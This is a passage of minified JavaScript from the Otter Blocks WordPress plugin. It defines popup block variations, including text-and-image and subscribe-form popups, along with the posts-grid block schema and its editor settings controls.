l=u.useBlockProps.save({id:e.id,className:c()(t,"is-front",{"with-outside-button":"outside"===e.closeButtonType}),"data-open":e.trigger,"data-dismiss":e.recurringClose?e.recurringTime:"","data-time":void 0===e.trigger||"onLoad"===e.trigger?e.wait||0:"","data-anchor":"onClick"===e.trigger?e.anchor:"","data-offset":"onScroll"===e.trigger?e.scroll:"","data-outside":e.outsideClose?e.outsideClose:"","data-anchorclose":e.anchorClose?e.closeAnchor:"","data-lock-scrolling":e.lockScrolling?"1":void 0,"data-disable-on":e.disableOn?e.disableOn:void 0});return(0,i.createElement)("div",{...l},(0,i.createElement)("div",{className:"otter-popup__modal_wrap"},(0,i.createElement)("div",{role:"presentation",className:"otter-popup__modal_wrap_overlay"}),(0,i.createElement)("div",{className:"otter-popup__modal_content"},e.showClose&&(0,i.createElement)("div",{className:"otter-popup__modal_header"},(0,i.createElement)("button",{type:"button",class:"components-button has-icon"},(0,i.createElement)("svg",{width:"24",height:"24",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img","aria-hidden":"true"},(0,i.createElement)("path",{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})))),(0,i.createElement)("div",{className:"otter-popup__modal_body"},(0,i.createElement)(u.InnerBlocks.Content,null)))))},example:{attributes:{}},variations:[{name:"themeisle-blocks/popup-scratch",title:(0,o.__)("Start from scratch","otter-blocks"),description:(0,o.__)("Simple Popup with default settings.","otter-blocks"),icon:r.popupScratch,scope:["block"],attributes:{},innerBlocks:[{name:"core/paragraph",attributes:{content:"Add your content.",dropCap:!1,style:{typography:{fontSize:"16px"}}}}]},{name:"themeisle-blocks/popup-with-text-and-image",title:(0,o.__)("Text and Image","otter-blocks"),description:(0,o.__)("Popup with Text and Image.","otter-blocks"),icon:r.popupWithImageAndText,scope:["block"],attributes:{minWidth:900,trigger:"onLoad",wait:1,scroll:75,showClose:!1,outsideClose:!0,anchorClose:!1,recurringClose:!1,backgroundColor:"#ffffff",closeColor:"var(--nv-text-color)",overlayColor:"#000000",overlayOpacity:95,paddingMobile:{top:"8px",bottom:"8px",left:"8px",right:"8px"},width:"860px",height:"500px",heightTablet:"400px",heightMobile:"320px",boxShadow:{active:!1,colorOpacity:50,blur:5,spread:1,horizontal:0,vertical:0}},innerBlocks:[{name:"themeisle-blocks/advanced-columns",attributes:{columns:2,layout:"equal",layoutTablet:"equal",layoutMobile:"collapsedRows",padding:{top:"0px",right:"0px",bottom:"0px",left:"0px"},paddingTablet:{top:"40px",right:"20px",bottom:"40px",left:"20px"},paddingMobile:{top:"20px",right:"20px",bottom:"20px",left:"20px"},columnsWidth:"100%",horizontalAlign:"center",columnsHeight:"auto",verticalAlign:"center",backgroundType:"color",backgroundAttachment:"scroll",backgroundRepeat:"repeat",backgroundSize:"auto",backgroundGradient:"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)",backgroundOverlayOpacity:50,backgroundOverlayType:"color",backgroundOverlayAttachment:"scroll",backgroundOverlayRepeat:"repeat",backgroundOverlaySize:"auto",backgroundOverlayGradient:"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)",backgroundOverlayFilterBlur:0,backgroundOverlayFilterBrightness:10,backgroundOverlayFilterContrast:10,backgroundOverlayFilterGrayscale:0,backgroundOverlayFilterHue:0,backgroundOverlayFilterSaturate:10,backgroundOverlayBlend:"normal",boxShadow:!1,boxShadowColor:"#000000",boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowSpread:0,boxShadowHorizontal:0,boxShadowVertical:0,dividerTopType:"none",dividerTopColor:"#000000",dividerTopInvert:!1,dividerBottomType:"none",dividerBottomColor:"#000000",dividerBottomInvert:!1,hide:!1,hideTablet:!1,hideMobile:!1,reverseColumnsTablet:!1,reverseColumnsMobile:!0,columnsHTMLTag:"div"},innerBlocks:[{name:"themeisle-blocks/advanced-column",attributes:{padding:{top:"20px",right:"20px",bottom:"20px",left:"20px"},paddingTablet:{top:"20px",right:"20px",bottom:"20px",left:"20px"},paddingMobile:{top:"20px",right:"20px",bottom:"20px",left:"20px"},backgroundType:"color",backgroundAttachment:"scroll",backgroundRepeat:"repeat",backgroundSize:"auto",backgroundGradient:"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)",backgroundOverlayOpacity:50,backgroundOverlayType:"color",backgroundOverlayAttachment:"scroll",backgroundOverlayRepeat:"repeat",backgroundOverlaySize:"auto",backgroundOverlayGradient:"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)",backgroundOverlayFilterBlur:0,backgroundOverlayFilterBrightness:10,backgroundOverlayFilterContrast:10,backgroundOverlayFilterGrayscale:0,backgroundOverlayFilterHue:0,backgroundOverlayFilterSaturate:10,backgroundOverlayBlend:"normal",boxShadow:!1,boxShadowColor:"#000000",boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowSpread:0,boxShadowHorizontal:0,boxShadowVertical:0,columnsHTMLTag:"div",columnWidth:"50",verticalAlign:"center"},innerBlocks:[{name:"themeisle-blocks/advanced-heading",attributes:{content:"<strong>Explore COURSES</strong>",tag:"p",alignTablet:"left",alignMobile:"left",fontSize:"12px",fontSizeTablet:16,fontSizeMobile:16,textTransform:"uppercase",lineHeight:1.4,textShadow:!1,textShadowColor:"#000000",textShadowColorOpacity:50,textShadowBlur:5,textShadowHorizontal:0,textShadowVertical:0,paddingTop:0}},{name:"themeisle-blocks/advanced-heading",attributes:{content:"Illustration Skills",tag:"h2",textShadow:!1,textShadowColor:"#000000",textShadowColorOpacity:50,textShadowBlur:5,textShadowHorizontal:0,textShadowVertical:0,paddingTop:0,margin:{top:"0px",bottom:"8px"}}},{name:"core/paragraph",attributes:{content:"Through the years I have created downloadable resources that you can download and improve your skills.",dropCap:!1}},{name:"core/buttons",attributes:{layout:{type:"flex",justifyContent:"left"}},innerBlocks:[{name:"core/button",isValid:!0,attributes:{text:"Learn More",className:"is-style-primary"}}]}]},{name:"themeisle-blocks/advanced-column",attributes:{padding:{top:"20px",right:"20px",bottom:"20px",left:"20px"},paddingTablet:{top:"20px",right:"20px",bottom:"20px",left:"20px"},paddingMobile:{top:"20px",right:"20px",bottom:"20px",left:"20px"},backgroundType:"color",backgroundAttachment:"scroll",backgroundRepeat:"repeat",backgroundSize:"auto",backgroundGradient:"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)",backgroundOverlayOpacity:50,backgroundOverlayType:"color",backgroundOverlayAttachment:"scroll",backgroundOverlayRepeat:"repeat",backgroundOverlaySize:"auto",backgroundOverlayGradient:"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)",backgroundOverlayFilterBlur:0,backgroundOverlayFilterBrightness:10,backgroundOverlayFilterContrast:10,backgroundOverlayFilterGrayscale:0,backgroundOverlayFilterHue:0,backgroundOverlayFilterSaturate:10,backgroundOverlayBlend:"normal",boxShadow:!1,boxShadowColor:"#000000",boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowSpread:0,boxShadowHorizontal:0,boxShadowVertical:0,columnsHTMLTag:"div",columnWidth:"50"},innerBlocks:[{name:"core/image",attributes:{url:"https://demosites.io/otter/wp-content/uploads/sites/664/2022/11/otter-demo-8.png",alt:"",caption:"",sizeSlug:"full",linkDestination:"none",boxShadow:!1,boxShadowColor:"#000000",boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowHorizontal:0,boxShadowVertical:0}}]}]}]},{name:"themeisle-blocks/popup-with-form",title:(0,o.__)("Popup with Form","otter-blocks"),description:(0,o.__)("Popup with Form that appears on page load.","otter-blocks"),icon:r.popupWithForm,scope:["block"],attributes:{trigger:"onLoad",wait:1,showClose:!0,outsideClose:!0,anchorClose:!1,recurringClose:!1,backgroundColor:"#ffffff",closeColor:"var(--nv-text-color)",lockScrolling:!1,padding:{top:"32px",bottom:"32px",left:"32px",right:"32px"},borderWidth:{top:"8px"},borderRadius:{top:"5px",bottom:"5px",left:"5px",right:"5px"},borderColor:"#ed6f57",width:"540px",closeButtonType:"outside",boxShadow:{active:!1,colorOpacity:50,blur:5,spread:1,horizontal:0,vertical:0},disableOn:"mobile"},innerBlocks:[{name:"themeisle-blocks/advanced-heading",attributes:{content:"Find the perfect course",tag:"h2",textShadow:!1,textShadowColor:"#000000",textShadowColorOpacity:50,textShadowBlur:5,textShadowHorizontal:0,textShadowVertical:0,paddingTop:0,margin:{top:"0px",bottom:"16px"}}},{name:"core/paragraph",attributes:{content:"All of our courses are designed to help you learn the fundamentals of writing and other related topics.",dropCap:!1,style:{typography:{fontSize:"16px"}},textColor:"neve-text-color"}},{name:"themeisle-blocks/form",attributes:{provider:"",action:"subscribe",submitLabel:"Send me the survey",submitMessageColor:"var(--nv-c-1)",submitMessageErrorColor:"var(--nv-c-2)",submitStyle:"full"},innerBlocks:[{name:"themeisle-blocks/form-input",attributes:{type:"text",label:"Name",isRequired:!0,labelColor:"var(--nv-text-color)"}},{name:"themeisle-blocks/form-input",attributes:{type:"email",label:"Email",isRequired:!0,labelColor:"var(--nv-text-color)"}},{name:"core/paragraph",attributes:{align:"left",content:"You agree to privacy and terms.",dropCap:!1,textColor:"neve-text-color",fontSize:"small"}}]}]}]});var Eo=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/posts-grid","title":"Posts","category":"themeisle-blocks","description":"Display a list of your most recent posts in a beautiful layout. Powered by Otter.","keywords":["posts","grid","news"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"style":{"type":"string","default":"grid"},"postTypes":{"type":"array","default":[]},"columns":{"type":"number","default":3},"template":{"type":"array","default":["category","title","meta","description"]},"categories":{"type":"array","items":{"type":"object"}},"postsToShow":{"type":"number","default":5},"order":{"type":"string","default":"desc"},"orderBy":{"type":"string","default":"date"},"offset":{"type":"number","default":0},"imageSize":{"type":"string","default":"full"},"displayFeaturedImage":{"type":"boolean","default":true},"displayCategory":{"type":"boolean","default":true},"displayTitle":{"type":"boolean","default":true},"titleTag":{"type":"string","default":"h5"},"displayMeta":{"type":"boolean","default":true},"displayDescription":{"type":"boolean","default":true},"excerptLength":{"type":"number","default":100},"displayDate":{"type":"boolean","default":true},"displayUpdatedDate":{"type":"boolean","default":false},"displayAuthor":{"type":"boolean","default":true},"displayComments":{"type":"boolean","default":true},"displayPostCategory":{"type":"boolean","default":false},"displayReadMoreLink":{"type":"boolean","default":false},"cropImage":{"type":"boolean","default":false},"customTitleFontSize":{"type":["string","number"]},"customTitleFontSizeTablet":{"type":["string","number"]},"customTitleFontSizeMobile":{"type":["string","number"]},"customDescriptionFontSize":{"type":["string","number"]},"customDescriptionFontSizeTablet":{"type":["string","number"]},"customDescriptionFontSizeMobile":{"type":["string","number"]},"customMetaFontSize":{"type":"string"},"customMetaFontSizeTablet":{"type":"string"},"customMetaFontSizeMobile":{"type":"string"},"textColor":{"type":"string"},"backgroundColor":{"type":"string"},"borderColor":{"type":"string"},"borderRadius":{"type":["number","object"]},"borderWidth":{"type":"string"},"cardBorderRadius":{"type":"object"},"boxShadow":{"type":"object","default":{"active":false,"colorOpacity":50,"blur":5,"spread":1,"horizontal":0,"vertical":0}},"imageBoxShadow":{"type":"object","default":{"active":false,"colorOpacity":50,"blur":5,"spread":1,"horizontal":0,"vertical":0}},"textAlign":{"type":"string"},"verticalAlign":{"type":"string"},"enableFeaturedPost":{"type":"boolean"},"imageWidth":{"type":["string","number"]},"imageWidthTablet":{"type":"string"},"imageWidthMobile":{"type":"string"},"columnGap":{"type":"string"},"columnGapTablet":{"type":"string"},"columnGapMobile":{"type":"string"},"rowGap":{"type":"string"},"rowGapTablet":{"type":"string"},"rowGapMobile":{"type":"string"},"padding":{"type":"string"},"paddingTablet":{"type":"string"},"paddingMobile":{"type":"string"},"contentGap":{"type":"string"},"featuredPostOrder":{"type":"string"},"hasPagination":{"type":"boolean","default":false},"pagColor":{"type":"string"},"pagBgColor":{"type":"string"},"pagColorHover":{"type":"string"},"pagBgColorHover":{"type":"string"},"pagColorActive":{"type":"string"},"pagBgColorActive":{"type":"string"},"pagBorderColor":{"type":"string"},"pagBorderColorHover":{"type":"string"},"pagBorderColorActive":{"type":"string"},"pagGap":{"type":"string"},"pagBorderRadius":{"type":"object","properties":{"top":{"type":"string"},"left":{"type":"string"},"right":{"type":"string"},"bottom":{"type":"string"}}},"pagBorderWidth":{"type":"object","properties":{"top":{"type":"string"},"left":{"type":"string"},"right":{"type":"string"},"bottom":{"type":"string"}}},"pagPadding":{"type":"object","properties":{"top":{"type":"string"},"left":{"type":"string"},"right":{"type":"string"},"bottom":{"type":"string"}}},"pagContMargin":{"type":"object","properties":{"top":{"type":"string"},"left":{"type":"string"},"right":{"type":"string"},"bottom":{"type":"string"}}},"pagSize":{"type":"string"}},"supports":{"align":["wide","full"],"html":false},"editorStyle":"otter-posts-grid-editor","style":"otter-posts-grid-style"}');const{attributes:xo}=Eo;var So=[{attributes:{...xo,categories:{type:"string"}},supports:{align:["wide","full"],html:!1},migrate:e=>({...e,categories:[{id:Number(e.categories)}]}),isEligible:({categories:e})=>e&&"string"==typeof e,save:()=>null}],To=({attributes:e,setAttributes:t})=>{const l=u.BlockVerticalAlignmentToolbar;return(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(l,{label:(0,o.__)("Change Vertical Alignment","otter-blocks"),value:e.verticalAlign,onChange:e=>t({verticalAlign:e})}))};const Bo=(0,St.W6)((()=>(0,i.createElement)("div",{className:"o-sortable-handle",tabIndex:"0"},(0,i.createElement)("span",null)))),Mo={image:"displayFeaturedImage",category:"displayCategory",title:"displayTitle",meta:"displayMeta",description:"displayDescription"},Po=({attributes:e,setAttributes:t,template:l,disabled:a})=>{const[n,r]=(0,b.useState)(!1),s=l?.startsWith("custom_"),d=e?.customMetas?.filter((({id:e})=>e===l))?.pop(),u={image:e.displayFeaturedImage,category:e.displayCategory,title:e.displayTitle,meta:e.displayMeta,description:e.displayDescription},m=l=>{const o={...d,...l};t({customMetas:e.customMetas.map((e=>e.id===d.id?o:e))})},g=s?(0,Fe.applyFilters)("otter.postsBlock.panelLabel","",d):(0,A.startCase)((0,A.toLower)(l)),h=u[l]||d?.display,k=h?"visibility":"hidden"; /* translators: %s Label */ let y=(0,o.sprintf)((0,o.__)("Display %s","otter-blocks"),g);return h&&( /* translators: %s Label */ y=(0,o.sprintf)((0,o.__)("Hide %s","otter-blocks"),g)),(0,i.createElement)("div",{className:c()("o-sortable-item-area",`o-sortable-item-area-${l}`)},(0,i.createElement)("div",{className:c()("o-sortable-item",{disabled:a,hidden:!h,editable:h})},!a&&(0,i.createElement)(Bo,null),(0,i.createElement)("div",{className:"o-sortable-label"},g),h&&!["category","title"].includes(l)&&(0,i.createElement)(p.Button,{icon:n?"arrow-up-alt2":"arrow-down-alt2",label:n?(0,o.__)("Close Settings","otter-blocks"):(0,o.__)("Open Settings","otter-blocks"),showTooltip:!0,className:"o-sortable-button",onClick:()=>r(!n)}),(0,i.createElement)(p.Button,{icon:k,label:y,showTooltip:!0,className:"o-sortable-button",onClick:()=>{s?m({display:!d.display}):(l=>{const o=Mo[l]||l;t({[o]:!e[o]})})(l),r(!1)}})),h&&!["category","title"].includes(l)&&(0,i.createElement)("div",{className:c()("o-sortable-control-area",{opened:n&&h})},"image"===l&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Image Size","otter-blocks"),value:e.imageSize,options:window.themeisleGutenberg.imageSizes.map((e=>({label:(0,A.startCase)((0,A.toLower)(e)),value:e}))),onChange:e=>t({imageSize:e})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Crop Image to Fit","otter-blocks"),checked:e.cropImage,onChange:e=>t({cropImage:e})})),"meta"===l&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display Post Date","otter-blocks"),checked:e.displayDate,onChange:e=>t({displayDate:e})}),e.displayDate&&(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display Last Updated Date","otter-blocks"),checked:e.displayUpdatedDate,onChange:e=>t({displayUpdatedDate:e})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display Author","otter-blocks"),checked:e.displayAuthor,onChange:e=>t({displayAuthor:e})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display Comments","otter-blocks"),checked:e.displayComments,onChange:e=>t({displayComments:e})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display Category","otter-blocks"),checked:e.displayPostCategory,onChange:e=>t({displayPostCategory:e})})),"description"===l&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.TextControl,{label:(0,o.__)("Excerpt Limit","otter-blocks"),type:"number",value:e.excerptLength,onChange:e=>t({excerptLength:Number(e)})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display Read More Link","otter-blocks"),checked:e.displayReadMoreLink,onChange:e=>t({displayReadMoreLink:e})})),(0,Fe.applyFilters)("otter.postsBlock.controls","",e,t,s,d,m)))},zo=(0,St.W8)((({attributes:e,setAttributes:t,template:l,disabled:o})=>(0,i.createElement)(Po,{attributes:e,setAttributes:t,template:l,disabled:o}))),Fo=(0,St.JN)((({attributes:e,setAttributes:t})=>(0,i.createElement)("div",null,e?.template?.filter((e=>!(e?.startsWith("custom_")&&(void 0===window?.acf||!window.themeisleGutenberg?.hasPro)))).map(((l,o)=>(0,i.createElement)(zo,{key:`item-${l}`,index:o,attributes:e,setAttributes:t,template:l}))))));var Ro=l(9084);const Lo=()=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)("p",null,(0,o.__)("Add custom fields for the posts, using the ACF plugin & Otter Pro.","otter-blocks")),(0,i.createElement)(p.Button,{variant:"secondary",isSecondary:!0,className:"o-conditions__add",disabled:!0,onClick:()=>{}},(0,o.__)("Add Custom Field","otter-blocks")),(0,i.createElement)("br",null),(0,i.createElement)(Ro.Z,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"customfield")},(0,o.__)("Get more options with Otter Pro. ","otter-blocks")),variant:"upsell"}));var Oo=({attributes:e,setAttributes:t})=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)("div",{className:c()("o-sortable",e.style)},(0,i.createElement)(Po,{attributes:e,setAttributes:t,template:"image",disabled:!0}),(0,i.createElement)(Fo,{attributes:e,setAttributes:t,onSortEnd:({oldIndex:l,newIndex:o})=>{const a=bl()(e.template,l,o);t({template:a})},useDragHandle:!0,axis:"y",lockAxis:"y"}),(0,Fe.applyFilters)("otter.postsBlock.sortableContainer",(0,i.createElement)(Lo,null),e,t)));const Io=[{label:(0,o.__)("Default","otter-blocks"),value:"default",isDefault:!0},{label:(0,o.__)("Boxed","otter-blocks"),value:"boxed"}],Ho=[{name:(0,o.__)("XS","otter-blocks"),size:"14px",slug:"xs"},{name:(0,o.__)("Small","otter-blocks"),size:"16px",slug:"small"},{name:(0,o.__)("Medium","otter-blocks"),size:"18px",slug:"medium"},{name:(0,o.__)("Large","otter-blocks"),size:"24px",slug:"large"},{name:(0,o.__)("XL","otter-blocks"),size:"28px",slug:"xl"}];var No=({attributes:e,setAttributes:t,categoriesList:l,isLoading:a})=>{var n,r,s,c,d,f,v,_,C;const[w,E]=(0,y.useTabSwitch)(e.id,"settings"),{slugs:x}=(0,m.useSelect)((e=>({slugs:e("otter-store").getPostsSlugs()})),[e.postTypes]),{responsiveSetAttributes:S,responsiveGetAttributes:T}=(0,k.Y)(t),B=l.reduce(((e,t)=>({...e,[t.name]:t})),{}),M=e.categories?e.categories.map((e=>{var t,n,r,i;const s=l.find((t=>t.id===Number(e.id))),c=!a&&l?.length&&!s;return{id:e.id,name:(null!==(t=null!==(n=e?.name)&&void 0!==n?n:s?.name)&&void 0!==t?t:s?.slug)+(c?" ("+(0,o.__)("Invalid","otter-blocks")+")":""),slug:null!==(r=null!==(i=e?.slug)&&void 0!==i?i:s?.slug)&&void 0!==r?r:""}})):[],P="object"==typeof e.categories?1<=e.categories.length?e.categories[0].id:void 0:e.categories,z=(l,o)=>{const a={...e[l]};Object.entries(o).map((([e,t]=o)=>{a[e]=t})),t({[l]:a})};return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:w,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:E}),"settings"===w&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Layout","otter-blocks")},(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Post Type","otter-blocks"),help:(0,o.__)('WordPress contains different types of content and they are divided into collections called "Post types". By default there are a few different ones such as blog posts and pages, but plugins could add more.',"otter-blocks"),value:e.postTypes[0]||null,onChange:e=>{e&&t({postTypes:[e]})},options:x.map((e=>({label:(0,h.__)(e),value:e})))}),(0,i.createElement)(g.Lp,{label:(0,o.__)("Layout","otter-blocks"),options:[{label:(0,o.__)("Grid","otter-blocks"),value:"grid"},{label:(0,o.__)("List","otter-blocks"),value:"list"}],value:e.style,onChange:e=>t({style:e})}),"grid"===e.style&&(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Columns","otter-blocks"),value:e.columns,onChange:e=>t({columns:e}),min:1,max:5}),(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Content Alignment","otter-blocks")},(0,i.createElement)(g.Ik,{value:e.textAlign,options:[{icon:"editor-alignleft",label:(0,o.__)("Left","otter-blocks"),value:"left"},{icon:"editor-aligncenter",label:(0,o.__)("Center","otter-blocks"),value:"center"},{icon:"editor-alignright",label:(0,o.__)("Right","otter-blocks"),value:"right"}],onChange:e=>t({textAlign:e}),hasIcon:!0}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Settings","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.QueryControls,{order:e.order,orderBy:e.orderBy,onOrderChange:e=>t({order:e}),onOrderByChange:e=>t({orderBy:e}),numberOfItems:e.postsToShow,onNumberOfItemsChange:e=>t({postsToShow:e}),categorySuggestions:B,selectedCategoryId:P,selectedCategories:M,onCategoryChange:e=>{let o;if("object"==typeof e)0<e.length&&(o=e.map((e=>{const t=l.find((t=>t.name===e||t.name===e?.value));var o,a;if(t)return{id:t.id,name:null!==(o=e?.value)&&void 0!==o?o:e,slug:null!==(a=t?.slug)&&void 0!==a?a:""}})).filter((e=>void 0!==e)));else if(""!==e){var a;o=[{id:e,name:l.find((t=>t.id===Number(e))).name,slug:null!==(a=l.find((t=>t.id===Number(e)))?.slug)&&void 0!==a?a:""}]}t({categories:o})}}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Offset","otter-blocks"),help:(0,o.__)("Number of post to displace or pass over.","otter-blocks"),type:"number",value:e.offset,min:0,onChange:e=>t({offset:Number(e)})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Enable Featured Post","otter-blocks"),checked:e.enableFeaturedPost,onChange:()=>t({enableFeaturedPost:!Boolean(e.enableFeaturedPost),hasPagination:void 0})}),e.enableFeaturedPost&&(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Featured Post","otter-blocks"),value:e.featuredPostOrder,options:[{label:(0,o.__)("Latest Post","otter-blocks"),value:"none"},{label:(0,o.__)("Sticky Post","otter-blocks"),value:"sticky-first"}],onChange:e=>t({featuredPostOrder:"none"!==e?e:void 0})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Enable Pagination","otter-blocks"),checked:e.hasPagination,onChange:()=>t({hasPagination:!Boolean(e.hasPagination),enableFeaturedPost:void 0,featuredPostOrder:void 0})})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Elements","otter-blocks"),initialOpen:!1},(0,i.createElement)(Oo,{attributes:e,setAttributes:t})),(0,i.createElement)(g.p,null)),"style"===w&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Style","otter-blocks")},(0,i.createElement)(g.Lp,{options:Io,value:(0,h.tB)(Io,e?.className),onChange:l=>{const o=(0,h.L4)(e?.className,Io,l);t({className:o})}})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Typography","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Title Tag","otter-blocks"),value:e.titleTag||"h5",options:[{label:(0,o.__)("H1","otter-blocks"),value:"h1"},{label:(0,o.__)("H2","otter-blocks"),value:"h2"},{label:(0,o.__)("H3","otter-blocks"),value:"h3"},{label:(0,o.__)("H4","otter-blocks"),value:"h4"},{label:(0,o.__)("H5","otter-blocks"),value:"h5"},{label:(0,o.__)("H6","otter-blocks"),value:"h6"}],onChange:e=>t({titleTag:e})}),(0,i.createElement)(g.n9,{label:(0,o.__)("Title Size","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{fontSizes:Ho,withReset:!0,value:T([e.customTitleFontSize,e.customTitleFontSizeTablet,e.customTitleFontSizeMobile]),onChange:e=>S(e,["customTitleFontSize","customTitleFontSizeTablet","customTitleFontSizeMobile"])})),(0,i.createElement)(g.n9,{label:(0,o.__)("Description Size","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{fontSizes:Ho,withReset:!0,value:T([e.customDescriptionFontSize,e.customDescriptionFontSizeTablet,e.customDescriptionFontSizeMobile]),onChange:e=>S(e,["customDescriptionFontSize","customDescriptionFontSizeTablet","customDescriptionFontSizeMobile"])})),(0,i.createElement)(g.n9,{label:(0,o.__)("Meta Size","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{fontSizes:Ho,withReset:!0,value:T([e.customMetaFontSize,e.customMetaFontSizeTablet,e.customMetaFontSizeMobile]),onChange:e=>S(e,["customMetaFontSize","customMetaFontSizeTablet","customMetaFontSizeMobile"])})),e.hasPagination&&(0,i.createElement)(p.BaseControl,{id:"o-posts-grid-pagination-font-size",label:(0,o.__)("Pagination","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{fontSizes:Ho,withReset:!0,value:null!==(n=e.pagSize)&&void 0!==n?n:"16px",onChange:e=>t({pagSize:e})}))),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:e.textColor,onChange:e=>t({textColor:e}),label:(0,o.__)("Text","otter-blocks"),isShownByDefault:!1},{value:e.backgroundColor,onChange:e=>t({backgroundColor:e}),label:(0,o.__)("Background","otter-blocks"),isShownByDefault:!1},{value:e.borderColor,onChange:e=>t({borderColor:e}),label:(0,o.__)("Border","otter-blocks"),isShownByDefault:!1},...e.hasPagination?[{value:e.pagColor,onChange:e=>t({pagColor:e}),label:(0,o.__)("Pagination Link","otter-blocks"),isShownByDefault:!1},{value:e.pagBgColor,onChange:e=>t({pagBgColor:e}),label:(0,o.__)("Pagination Background","otter-blocks"),isShownByDefault:!1},{value:e.pagBorderColor,onChange:e=>t({pagBorderColor:e}),label:(0,o.__)("Pagination Border","otter-blocks"),isShownByDefault:!1},{value:e.pagColorActive,onChange:e=>t({pagColorActive:e}),label:(0,o.__)("Pagination Active Link","otter-blocks"),isShownByDefault:!1},{value:e.pagBgColorActive,onChange:e=>t({pagBgColorActive:e}),label:(0,o.__)("Pagination Active Background","otter-blocks"),isShownByDefault:!1},{value:e.pagColorHover,onChange:e=>t({pagColorHover:e}),label:(0,o.__)("Pagination Hover Link","otter-blocks"),isShownByDefault:!1},{value:e.pagBgColorHover,onChange:e=>t({pagBgColorHover:e}),label:(0,o.__)("Pagination Hover Background","otter-blocks"),isShownByDefault:!1},{value:e.pagBorderColorHover,onChange:e=>t({pagBorderColorHover:e}),label:(0,o.__)("Pagination Hover Border","otter-blocks"),isShownByDefault:!1},{value:e.pagBorderColorActive,onChange:e=>t({pagBorderColorActive:e}),label:(0,o.__)("Pagination Active Border","otter-blocks"),isShownByDefault:!1}]:[]]}),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Image","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Border Radius","otter-blocks"),values:(0,h.v)(e.borderRadius),onChange:e=>t({borderRadius:e}),id:"o-border-raduis-box"}),"list"===e.style&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(g.n9,{label:(0,o.__)("Image Width","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:T([e.imageWidth,e.imageWidthTablet,e.imageWidthMobile]),onChange:e=>S(e,["imageWidth","imageWidthTablet","imageWidthMobile"])}),(0,i.createElement)(g.Cd,{values:["imageWidth","imageWidthTablet","imageWidthMobile"],setAttributes:t}))),(0,i.createElement)(g.I7,{boxShadow:e.imageBoxShadow,onChange:e=>z("imageBoxShadow",e)})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Spacing","otter-blocks"),initialOpen:!1},"list"!==e.style&&(0,i.createElement)(g.n9,{label:(0,o.__)("Column Gap","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:null!==(r=T([e.columnGap,e.columnGapTablet,e.columnGapMobile]))&&void 0!==r?r:"30px",onChange:e=>S(e,["columnGap","columnGapTablet","columnGapMobile"])}),(0,i.createElement)(g.Cd,{values:["columnGap","columnGapTablet","columnGapMobile"],setAttributes:t})),(0,i.createElement)(g.n9,{label:(0,o.__)("Row Gap","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:null!==(s=T([e.rowGap,e.rowGapTablet,e.rowGapMobile]))&&void 